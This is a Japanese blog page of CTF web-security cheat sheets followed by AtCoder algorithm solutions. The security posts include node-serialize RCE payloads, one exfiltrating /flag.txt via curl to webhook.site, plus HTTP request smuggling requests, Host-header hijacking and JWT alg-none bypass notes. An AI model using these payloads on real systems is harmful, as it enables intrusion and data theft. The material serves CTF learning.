はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるデータ形式まとめ（XML, Json, Insecure Deserialization, XXE)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の4日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

データ形式

  • Web上では様々なデータ形式が利用される。これらのデータ形式には固有の問題がいくつかあり、脆弱性を意識して利用する必要がある
  • インジェクション
    • どのようなデータ形式でもバリデーションとかサニタイズせずに入れると、構造を変化させて、想定外動作を引き起こす可能性がある
  • Insecure Deserialization
    • 入力されたシリアライズドデータをサーバ側で処理する過程、デシリアライズの段階で意図せぬ処理を引き起こさせること
    • RCEできたりする（RCEはWebサーバ上で自由にコマンド実行ができてしまうということ）

JSON

  • インジェクション/JSON Interoperability
  • Insecure Deserialization
    • nodejsのnode-serialize
      • ベースを作って、書き換えたい部分を即時実行関数式に変換する
      • CTFtime.org / Zh3r0 CTF V2 / sparta
        • {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) {console.log(stdout) }); }()"}
        • city=_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"output=$(cat /flag.txt);curl webhook.site/9d7268ea-42bd-48b3-9ede-0be524e773e1?out=$output\",function(error, stdout, stderr) { console.log(stdout)});}()
          • 実行して適当な所に送るやつ
        • {"username":{"toString":"_$$ND_FUNC$$_(()=>{throw require('child_process').execSync('cat /flag.txt')})()"}}
    • nodejsのjavascript-serializer
      • toStringを入れることで文字列として使用される場合に任意コマンド実行される
      • "evil": { "toString": { "___js-to-json-class___": "Function", "json": "console.log('hello!');return'res';" } }
  • JSONP
  • JWT → 別途
  • メモ
    • JSONで制御文字を入れ込むときはunicode表現にして入れる {"username": "admin\u0000"}

XML

他のInsecure Deserialization

CTFのWebセキュリティにおける認証認可まわりまとめ（Cookie/Session、Authentication/Authorization、JWT、IDOR, TOTP, OAuth)

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の3日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Cookie

Authentication/Authorization

  • 認証と認可は違うので注意
  • IDOR
    • 認可確認不足があり、とあるリソースを見れてはいけない人が見れてしまう状態になっていること
    • CTFでよくあるのはSQLiteのDBファイルが見れてしまったり、ログファイルが見れてしまったりする
    • 例外のダンプはIDORに入るんだろうか？misconfigurationと言えばそうなのだが、IDORとも言えるのか？

Basic認証まわり

  • Basic認証
    • Basic認証をかけたいフォルダに以下を配置
    • パスワードが暗号化してある場合
      • e.g. admin:$apr1$1U8G15kK$tr9xPq8gjidsrw9e パスワードクラックできる可能性がある
  • Digest認証
    • nonceとかハッシュとかを使う
  • Mutual認証
    • Webブラウザとサーバが相互認証を行う（サーバがクライアントを検証するだけじゃない）

JWT

  • JSONをベースとしたトークン
    • より細かくはRFCを読むほうがいい
    • JOSE: Javascript Object Signing and Encryption
    • JWTはJWSかJWEを使うことができる
      • 署名付きデータの場合はJWS
      • 暗号化する場合はJWE
  • とりあえずJWTの中身を見るときはJSON Web Tokens - jwt.ioを使っている人が多いイメージ。単なるbase64なのでデコードして読んでも良い
  • 攻撃方法 
      - アルゴリズムをnoneにすることで検証を回避する
  - JWTの署名アルゴリズムをnoneにすることで、署名アルゴリズムをトークンから取得するような実装をしているサービスで検証を回避できる。pyjwtを使って、生成するのが簡単。
  - `eyXXXXXXXXXXXXXXX.eyXXXXXXXXXXXXX.`みたいなのを最終的に投げる
  - [CTFtime.org / H@cktivityCon 2021 CTF / SpiralCI](https://ctftime.org/task/17330)
  • 他

OAuth

MFA/TOTP/TOTP

OTP

TOTP

  • 秘密鍵だけを共有して、二者間でトークンの生成と検証を行う
  • 手順
    1. サーバサイドで秘密鍵を作成し、otpauth://を使って生成器（クライアントサイド）に秘密鍵情報を送る （大体はQRコードを使う）
    2. クライアントサイドで秘密鍵と時間を元にトークンを生成する
    3. それをクライアントが入力
    4. サーバサイドは、秘密鍵とトークンと時間を元に正しさを検証する
  • クライアントサイドとサーバサイドは完全に独立しているので、秘密鍵と時間だけを使ってOTP認証を実現する
    • 時間は同じ時間であればいいので、秘密鍵だけ特定できれば、トークンは容易に作れる
  • 秘密鍵からトークンを発行する
    • TOTP Generator
    • oathtool --base32 --totp <SECRET>
      • otpauth://のsecretを入れる
  • otpauth://totp/[ユーザー名]?secret=[秘密鍵]&issuer=[発行者]
    • &issuerは任意
  • できる対策/注意点
    • 秘密鍵をクライアントサイドが紛失した場合はどうするか
    • サーバの時刻は正確に(NTP)
    • 秘密鍵を送るときのresponseをキャッシュされないようにする（文字列とかQR画像とか）
    • 試行回数制限がついているか（総当たり対策）
    • 使用できるトークンについては少し前と少し先のトークンも利用できるようになっているので少し注意
    • 使用済みのTOTPは使えないようにする（再送攻撃対策）
      • 使用済みのTOTPの保存はユーザーID毎に管理すること（セッションとかだと消えちゃう）

SMS

WebAuthn

  • FIDO Allianceという認証機能のプロバイダーが提唱している規格
  • FIDO: Fast IDentity Online
    • 生体認証を簡単に利用できる
    • 生体情報がネットワーク上を流れない
      • 端末で処理して認証サーバから受け取ったチャレンジに応答するだけ

IDOR: Insecure Direct Object Reference

CTFのWebセキュリティにおけるHTTP通信まとめ（HTTP, Request Smuggling, Response Splitting, HTTP2）

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の2日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト（CTF）で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

HTTP

HTTPのHeaderまとめ

  • Referer: https://www.google.com
    • 直前のページのURL
  • X-Forwarded-For: 123.123.123.123
  • X-Forwarded-Host: attacker.com
    • これをつけるとHostヘッダーの値を見て、URLを作っているようなサイトだと、こっちに書き換えることができる
    • [PoC] Host Header Hijacking in Niteflirt - YouTube
    • パスワード変更時のリンクを奪取するのに使えたりもしますね
  • X-Content-Type-Options: nosniff
  • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • HSTSについての設定
    • HSTS？
      • HSTSとはHTTP接続してきたリクエストに対し、安全にHTTPSに対してリダイレクトさせようとする技術
      • 今までは？
        • 今までの流れは「HTTPリクエストが来る→HTTPレスポンスでhttpsアドレスへリダイレクト要求→HTTPSリクエスト」
        • これだと、HTTPリクエストの過程で中間者攻撃の可能性がある
      • HSTSにはブラウザに対して、このドメインではHTTPS通信してねという要請をヘッダーで行う
        • 1回目のHTTPリクエストはしょうがないが、2回目以降は期限が切れてなければ要請が続くのでHTTPSで安全
        • 最初の1回目も無くそうということでpreload機能というのもある
      • HTTPの口をふさげばいいのでは？
        • 古いサイトだとHTTPでリンク張られたりするから、現実的じゃないパターンがあるのかも
        • 色々調べたけど、決定打は見つからなかった
        • それでは最初の接続時にcookie情報を抜き出されることを防げない。cookieにsecureをつけとけば大丈夫
    • Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
    • preloadにしたURLがChromiumに送られてリスト化されているけど、ステージング環境とかがここに入ってこない？その辺大丈夫？
      • ステージング時は気を付けるべきでは？
  • Feature-Policy: fullscreen 'self'
    • Feature PolicyおよびFeature unsized-mediaの導入ガイド - 銀色うつ時間
      • とても分かりやすい。なるほど。
    • フルスクリーンを抑制できるっぽいが、セキュリティ的なうまみがあるんだろうか
      • ぱっと考えてみると、バナー広告とかが攻撃者に乗っ取られてフルスクリーンを強制するとか？
      • いい記事も、いい攻撃例も思いつかないが、脅しには使えそうな感じはする
  • Referrer-Policy: no-referrer
    • スペルミスが直されている。重複の読み方みたいにrefererでもreferrerでもどっちでもいいと思ってた
    • Refererの指定方法についてのポリシーを通知する。ブラウザへのお願いかな？
    • Referrer-Policy - HTTP | MDN
      • ここを見るとHTMLのタグでも同様のことが行える。ブラウザへのお願いだろう。
  • X-Frame-Options: DENY
    • このレスポンスのページをframeの内部で表示することができるかを指定する
      • クリックジャッキング対策
    • この場合はDENYなので、どんなframeの内部でも表示されない
    • 昨今表示させることはセキュリティリスクぐらいしかないので、DENY固定でいいんじゃないかな？
  • X-XSS-Protection: 1; mode=block
    • ブラウザのXSS防御機構を呼び出すもの
    • X-XSS-Protection - HTTP | MDN
      • ここにもあるように、ChromeがXSS Auditorを止めたのは有名な話
      • 今って、このヘッダーってどういう立ち位置になってるんだろう
    • 正直ブラウザ側が放棄したヘッダーを使うのは少し怖い気がする
      • メンテが終わった機能を使い続けてしまう恐れ
  • Content-Security-Policy: default-src 'none'; img-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self'; font-src 'self'; base-uri 'none'; frame-ancestors 'none'; form-action 'none'; manifest-src 'self'
    • まあ、CSPはいいでしょう。
  • Cross-Origin-Opener-Policy
  • Fetch Metadata Request Headers
  • 日付を指定できる Date: Wed, 21 Oct 2018 07:28:00 GM
  • UA User-Agent: picobrowser
  • DNT - HTTP | MDN
    • Do Not Track
    • DNT: 0 track ok DNT: 1 track ng DNT: null N/A
  • Range
    • 一部持ってきたいときにつける
    • サーバーからAccept-Ranges: bytesとあればRangeがbyte単位で指定して使える
      • CakeCTF 2021 Writeup - 0xiso’s blog
      • nginxの設定ファイルでフラグのパターンマッチで引っかかればマスクされるようになっているのでRangeを使って分割して持ってくる
      • Range: bytes=0-10で前半持ってきて、Range: bytes=8-で後半持ってくる感じ

HTTP Request Smuggling

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: AAA chunked BBB // haproxyはフォーマット違反なので無視, webrickはchunkedとして解釈する
Connection: keep-alive
Content-Length: 50 // haproxyはこちらを優先するから/flagまで送る, webrinkではchunkとされているのでこちらは無視

1
A
0

GET /flag HTTP/1.1 // webrinkではchunkとなっているのでこちらは別リクエストとして解釈して別途応答してしまう。
Host: 127.0.0.1    // この応答はhaproxyが介入していないので、haproxyでアクセス制限をかけていてもバイパスできる


POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked // nodejsはこのTEしか認識しない
Transfer-Encoding: chunked-false // nodejsはこれを無視してchunkedで動く。haproxyはこれのせいでchunkedにならないから全体を送ってしまう？

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x

HTTP Response Splitting

HTTP/2

CTFにおけるWebセキュリティ入門とまとめ

Security

この記事はCTFのWebセキュリティ Advent Calendar 2021の1日目の記事です。

はじめに、というか、ポエム

今年はセキュリティに捧げた一年であったが、同時に大切なものを失ってしまった。
セキュリティエンジニアはEthicalでなければいけないというが、こんな状況になってEthicalを真剣に問われた気がする。
この出来事もある種の踏み絵というか、セキュリティで生きていく上での通過点なのかもしれない。
さて、失ったものは戻らないが、代わりに何か新しいものを世の中に残すことにする。
このまとめは今年一年の生きた証であり、もしくは懺悔であり、いや、単に心の整理をつけたいだけのものだろう。

本当のはじめに

CTFのWeb問題を細々と解いていたが、そろそろ解説で意味が分からないことも少なくなってきたので、
Web問題についての情報まとめをアドベントカレンダーで一斉放出することにした。
いつもブログを見てくださっている人には分かるかもしれないが、いつものようにキーワードを並べたようなまとめである。
なので、手取り足取り教えると言ったものではなく、学習ガイドとして活用してほしい。

CTF入門

CTFとは何なのか

CTFとはセキュリティ的な問題を解く競技のことであり、色々なジャンルに分かれている。
全体的な話は他の記事に譲るとして、Web問題に絞って話すことにしよう。
大体のCTFは一問一答の形をとっており、とあるWebシステムが与えられて、そのシステムに含まれている「お宝」を探すのが目的である。
このお宝をFlagと呼んでおり、一般的にはハッカーがWebシステムを攻撃して手に入れたい情報という風に解釈されている。
例えば、Cookieの情報や不正ログイン後に得られる情報、場合によってはシステム自体を乗っ取れば得られる情報もあったりする。
こういった攻撃を通して攻撃者の思想や技術を学ぶことで防御に役立てる。これがCTFの本分である。
（単にハッキングの美学に触れるためでもあるが）

重要なこと

重要なことは、CTFでしか攻撃をしてはいけないということである。
実際のサービスに興味本位であっても（仮に善意があっても）攻撃を仕掛けるのは犯罪である。
今回のまとめで紹介することは現実のセキュリティについても参考にはなるが、CTF以外での知識の利用は推奨しない。

初学者に向けて

現状、Web問題に対する入門方法は確立されていないように思う。
確実性のある最短ルートは示せないが、道筋とそこで学べることはいくつか示せるので、それを紹介しよう。

  1. 徳丸本
    • Webセキュリティを網羅的に日本語で書いてある本はこれくらいしか無い。2021年時点全く色褪せない
    • 徳丸本を読んでからCTFのWeb問題に取り組むと、CTFに慣れるまでが大変ではあるが、2ステップ目くらいからは背景知識があるので比較的楽に進めるかと思う
    • あと、知識が無いゆえによく分からないということも減るだろう
  2. セキュリティコンテスト本を読む
  3. Web Security Academy: Free Online Training from PortSwigger
    • Web問を解く場合はBurp Suiteというツールを使っている人が多く、そのツールを出している会社が用意している学習リソース
    • 全英語なのでそこは頑張る必要があるが、解説もあってある程度の道筋も示していて、実践的な攻撃が学べるだろう

…と色々書いたが、トライアンドエラーで試行錯誤していく他無いのが現状ではないだろうか。
CTFは毎週何かしらやっている。
CTFtimeというサイトでActiveなCTFが見られるので、そこで毎週出てみよう。
大会開催後は有志による解説、CTF用語で言う所のWriteupが公開されるので、解けなかった問題を復習していく。
Writeupが公式から提供される確証は無いので、なるべく参加人数が多いCTFに出ると復習できる可能性が上がるだろう。
YouTubeで動画形式で上げてくれている人もいるので、理論だけでなく実践的なやり方をこれで学ぶこともできる。

結局はたたき上げである。

Web問への取り組み方

ここからは入門者が知識として得づらい部分や話しておくべきこと、暗黙知的なことをつらつら書いていくことにする。

  • フラグってどこにあるの？
    • 攻撃可能な手法に対応しておかれやすい場所があったりするが、基本的に頑張って場所込みで探す必要がある
    • RCE可能であれば~/flag.txtとか/flag.txtを読みだすし、XSS可能なら被害者のCookieを抜き出せばいいし、という感じで結構まちまち。何個か問題をこなしていけば場所については慣れてくる
  • 自動スキャンツール、自動攻撃ツールは使用してはならない
    • CTFは脆弱性診断ではないので、自動化ツールは使ってはならないと肝に銘じておこう。運営者に迷惑が掛かる
    • たまーに、ディレクトリスキャニングを使ってほしいという問題もあるが、その場合は使っていいよと問題か全体ルールに書いてある。明記されてない限り使ってはいけない
    • とは言っても自分でpythonツールを書いてリクエストを送りまくって情報を抜き出したりすることが想定解である問題もあり、ややグレー。自分はそういった解法の場合は運営側に気を使ってウェイトを入れるようにしている
  • 攻撃者目線で問題を解く
    • Guess問と揶揄される問題があり、Webの内部構成を推測したり、システム上の不備を推測して解くような問題である
    • かなり無茶な推測を要求する場合は批判されたりもするが、ある程度の推測は現実に寄っている感じもあって、自分は歓迎できる
    • 例えば初手で/robots.txtを見るというのもあるが、これも攻撃者視点から来ている（要出展）
  • Try Harder
    • Try HarderはOffensive Security社の家訓であるが、セキュリティの特にコンテスト界隈でよく見かける。単純にもっと頑張れという意味
    • CTFのWeb問題ではプログラミング言語の細かな仕様を突いて解くような調査力が要求される問題も多く出題される。なので、調査が前提というか、ここは攻撃できそうというセンスをもとに調査をして、言ってしまえばTry Harderで解法までたどり着くということが多々ある
    • ググラビティも重要な要素であり、臭い部分を見つけるのがセンスと経験である
  • かなり広い知識が要求される…が、ググラビティでカバーできる
    • 知らない分野は仕方がないので、なるべくキーワードというか概念をつかんでおくことが重要なように思う
    • C#でXMLを扱っている所があれば「C# XXE」でググってみるとかそういったキーワードを元に調べることができるようになると、解ける問題が広がっていくだろう
    • 強い人たちは公式ドキュメントを読んだり、無茶苦茶ググってる印象あります
  • 今はWeb問題は復習ができる
    • 常設のCTFでなくても、最近のCTFではコンテスト後にWeb問題の内容をdockerなどですぐに立ち上げられるようにして公開してくれていたりする
    • なので、githubとかでCTFのタイトルをググったりするとレポジトリが見つかって実際にシステムに対して復習ができる
    • SECCONとかでも過去問があったはず。使えるのでやってみるといい

より強くなるために

もう頑張るしかないし、正直自分もそんなに強くない。
Web問題では要求知識が多いにも関わらず、最新のWeb関連技術を絡めてきたり、ライブラリのゼロデイを出して来たりと最悪な感じなので、頑張ってとしか言いようがない。
だが、基本的な概念はそれほど変わっておらず、未だに徳丸本が第一線であるように、移り変わりが激しいWebであっても根本的な考え方はそれほど変化していない。
（しかも、最近はWebの変化が鈍化しているような…？自分のセンサーが衰えただけか？）
なので、これから出すまとめ記事から概念やキーワードを拾うことで、体系的な知識を身に着けてほしい。

これだけ学習したにもかかわらず、全然勝てないのでCTFは難しいですね…

まとめ

ここにどんどん追加していきます。

終わりに

さて、アドベントカレンダーとしてはこれからまとめ記事を書いていく。全く初心者向けではないので、単語をもとに調べて理解する必要がある。
いつものようにまとめているだけなので、それ以降は頑張ってくださいといういつもの感じです。
こういったキーワード集があることで、学習の指針になったり、単に知らないということだけで学習が止まってしまわないようになることを祈る。

Happy Wedding! [第八回 アルゴリズム実技検定 K]

競技プログラミング

https://atcoder.jp/contests/past202109-open/tasks/past202109_k

前提知識

解説

https://atcoder.jp/contests/past202109-open/submissions/26707534

慣れていると、この問題がかなりフロー系で解けるのではないかという感じに思えてくる。
理由としてははっきり言えないのだが、

  • ペアを作る、マッチングをするような問題である
  • 総和の最大値を求める
  • 結構微妙な制約

みたいな所からフロー感が漂う。
コストが含まれるので最小費用流で考えていくと解ける。

なお、今回の問題はよりストレートに重み付き二部グラフ上での最大マッチングとして定式化できる。
やってることは変わらないような気もするが、自分は最小費用流の延長戦上として解いた。

最小費用流

もし、最小費用流について知らない場合はどこかで調べてこよう。
最小費用流は名の通り最小値を求めるアルゴリズムであるので、入門としては最小値を求めるような問題がいいだろう。
他の問題を入門として選ぶことを勧める。

さて、理解はできているものとして話を進めていこう。

「選択」を分岐で表現する

さて、選択を作っていく。
グラフは

  • 始点と終点
  • オスpを表す頂点
  • メスqを表す頂点

のP+Q+2頂点を用意しよう。
ここでオスpとメスqがつがいになる場合は、

始点→オスp→メスq→終点

の経路で流量1だけ流れるという風に定義しよう。

(流量,コスト)
始点-(1,0)→オスp-(1,A[p]+C[q])→メスq-(1,0)→終点

という感じである。
逆につがいにならなかった場合は、その2匹間に流れないので、

始点-(1,B[p]+D[q])→終点

ということになる。これをすべてのペアについて作っていけばいいのだが、そうすると、
始点と終点の間に複数の辺で複数のコストのものが出来上がってしまう。
これでは、うまく選択されていないペアの所に流量を流すことができなくなってしまう。
ここで1工夫加えよう。

全部選択してないことをベースに考える。

選択によって幸福度を変化させるのではなく、すべてのオスとメスは最初は含まれない状態から始めて、
つがいを作ると、そのオスとメスの幸福度が変化するという風に考えることにしよう。

より具体的には、最初は幸福度はBの総和とDの総和ということにしておく。
そして、オスpとメスqがつがいになったとしたら、幸福度が+(A[p] - B[p] + C[q] - D[q])されるということにしておく。
こうすることで選択としては、つがいにならないなら幸福度は+0だし、
つがいになったら+(A[p] - B[p] + C[q] - D[q])されることになる。

フローとして考えると、オスpとメスqがつがいになるなら

始点-(1,0)→オスp-(1,(A[p] - B[p] + C[q] - D[q]))→メスq-(1,0)→終点

であり、つがいにならなかった場合は、

始点-(1,0)→終点

のようにする。こうすれば始点と終点の間の辺はすべて同じになるので1つにまとめることができるようになる。

まとめると

さて、まとめるとフローは以下のようになる

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,A[p] - B[p] + C[q] - D[q]) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), 0) の辺を張る

min(P,Q)と書いているのはペアが作れるのは最大min(P,Q)組だけだからである。
これで最大費用流みたいな感じで流量min(P,Q)を流せば、(Bの総和)+(Dの総和)+(最大費用)が答えになる。
ここまで理解できていればほぼほぼ答え。

最小費用流ですよ…

最大ではなく最小なので、コストを逆転させて負の数にすることで最大値を負の数にしたものを答えとして
出させるようにする。

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,-(A[p] - B[p] + C[q] - D[q])) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), 0) の辺を張る

最小費用流をして流量min(P,Q)を流せば、(Bの総和)+(Dの総和)-(最小費用)が答えになる。
最小費用流はコストが正になる必要があるので、これもちょっとだめで、下駄をはかせる必要がある。
MAXを2*109くらいに設定しておいて、つがいを作った場合とそうでない場合についてMAX分だけ
コストに下駄をはかせることにする。つまり…

  • 始点から各オスpについて (1,0) の辺を張る
  • 各オスpから各メスqについて (1,MAX-(A[p] - B[p] + C[q] - D[q])) の辺を張る
  • 各メスqから終点について (1,0) の辺を張る
  • 始点から終点について (min(P,Q), MAX) の辺を張る

こんな感じにする。
最小費用流をして流量min(P,Q)を流せば、(Bの総和)+(Dの総和)+MAX×min(P,Q)-(最小費用)が答えになる。
このように下駄を履かせた分だけ引けば全体を正のまま保ちつつ正答が得られる。

int P, Q;
string S[101];
ll A[101], B[101], C[101], D[101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> P >> Q;
    rep(p, 0, P) cin >> S[p];
    rep(p, 0, P) cin >> A[p] >> B[p];
    rep(q, 0, Q) cin >> C[q] >> D[q];

    atcoder::mcf_graph<int, ll> mcf(P + Q + 2);
    int st = P + Q;
    int gl = st + 1;
    int maxflow = min(P, Q);

    ll MAX = inf * 2;
    rep(p, 0, P) mcf.add_edge(st, p, 1, 0);
    rep(p, 0, P) rep(q, 0, Q) if (S[p][q] == '1') mcf.add_edge(p, P + q, 1, MAX-(A[p] - B[p] + C[q] - D[q]));
    rep(q, 0, Q) mcf.add_edge(P + q, gl, 1, 0);
    mcf.add_edge(st, gl, maxflow, MAX-0);

    int _; ll cost;
    tie(_, cost) = mcf.flow(st, gl, maxflow);

    ll ans = 0;
    rep(p, 0, P) ans += B[p];
    rep(q, 0, Q) ans += D[q];
    ans += MAX * maxflow - cost;
    cout << ans << endl;
}

Reverse Array [第八回 アルゴリズム実技検定 J]

競技プログラミング

https://atcoder.jp/contests/past202109-open/tasks/past202109_j

前提知識

解説

https://atcoder.jp/contests/past202109-open/submissions/26703507

遅延評価セグメントツリー以外にも沢山実装方法があるように見える。
今回、自分がやったやり方を説明していこう。

重要性質は何か

今回面倒なのは反転操作であると思うが、何回操作を行っても、回文関係にある部分が
反転するか反転してないかの状態にしかならない。
よって、保持すべき情報、判断すべき情報は、反転しているかどうかだけである。
これをうまくやっていくにはどうすればいいだろうか。

反転操作は区間について行うことになるが、その区間において反転するしないが逆転するような感じになる。
0を反転しない、1を反転するということにすると区間について1でXORをしているような操作になる。
これはそのまま遅延評価セグメントツリーに乗せることもできるが、
自分は区間について+1するような遅延評価セグメントツリーを書いた。
+1するようにしておけば2の倍数であれば反転しないし、2の倍数でないなら反転することに相当する。

まとめ

ちょっとわかりにくかったかもしれないので、実際の実装に落とし込んだ場合としてまとめておく。
区間addを実装した遅延評価セグメントツリーを用意しておく。

t=1のときは、左からk番目の遅延評価セグメントツリーの要素を見て、2の倍数であれば、kを答え、
2の倍数でないなら、2N - k + 1を答える。

t=2のときは、遅延評価セグメントツリーにおいて[N - k + 1, N + k]の要素を+1する

自分の実装では0-indexedになっているので添え字がけっこうややこしいが、以上を実装すればAC.

int N, Q;
LazySegTree<int,1<<19> lst;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> Q;
    
    rep(i, 0, Q) {
        int t, k; cin >> t >> k;

        if (t == 1) {
            k--;
            if (lst.get(k, k + 1) % 2 == 0) printf("%d\n", k + 1);
            else printf("%d\n", 2 * N - k);
        }
        else {
            lst.update(N - k, N + k, 1);
        }
    }
}

/2 and *3 [第八回 アルゴリズム実技検定 I]

競技プログラミング

https://atcoder.jp/contests/past202109-open/tasks/past202109_i

解説

https://atcoder.jp/contests/past202109-open/submissions/26690153

難しい問題。色々方針が思い浮かぶかもしれないが、思いつかないと中々厄介だろうと思う。

本質を見抜く

実は、今回の操作はやればやるだけ状況が改善される。
操作で÷2を行ったときに最小値がより小さくなってしまった場合は自分に×3をすればいい。
なので、すべての数をチェックして最大何回操作を行えるかを確認して、その最大回数操作を行うことにしよう。

加えてもう1つ便利な性質として全体でcnt回操作が行えるときに、全体で÷2をcnt回、×3をcnt回行うことができるが、
÷2の操作が×3の操作に影響はせず、逆もまたしかりなので、最初に÷2をcnt回してしまって、最後に×3をcnt回行っても
問題ない。

おさらいすると、以下の性質が問題を解くうえで便利である。

  • すべての数をチェックして最大何回操作を行えるかを確認して、その最大回数操作を行う
  • 最初に÷2をcnt回してしまって、最後に×3をcnt回行っても問題ない

最適動作を考える

÷2はどのように操作をしても結果は変わらないので、操作後は一意な状態となる。
ここから適切に×3をcnt回行うことで最小値を最大化したい。
これには貪欲に小さい数から優先的に×3を行っていくことで実現できる。
なので、N個の数から最小値を高速に取り出して×3をして入れなおすということを繰り返すことができればACできる。
このために優先度付きキューを使うことができる。
C++では要素の最大値を返すようになっているので負数を使うか比較関数を用意することで最小値を返すように改造すること。

操作回数の最大値

特に工夫しなくても操作をそのまま実装すれば今回は間に合う。
計算量のキーになりそうなのが、操作回数の最大値であるが、これは÷2を行う最大回数と一致する。
÷2をしていくと急激に数が小さくなっていく、もう少し正確に書くと、最大回数はlog2(109)くらいになるので、30回とかそんなもん。
なので30N回くらいが最大値でこれは全部普通に行っても計算時間的には間に合う。

int N; ll A[101010];
template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];

    min_priority_queue<ll> que;
    int cnt = 0;
    rep(i, 0, N) {
        while (A[i] % 2 == 0) cnt++, A[i] /= 2;
        que.push(A[i]);
    }
    rep(i, 0, cnt) {
        ll top = que.top() * 3;
        que.pop();
        que.push(top);
    }

    ll ans = que.top();
    cout << ans << endl;
}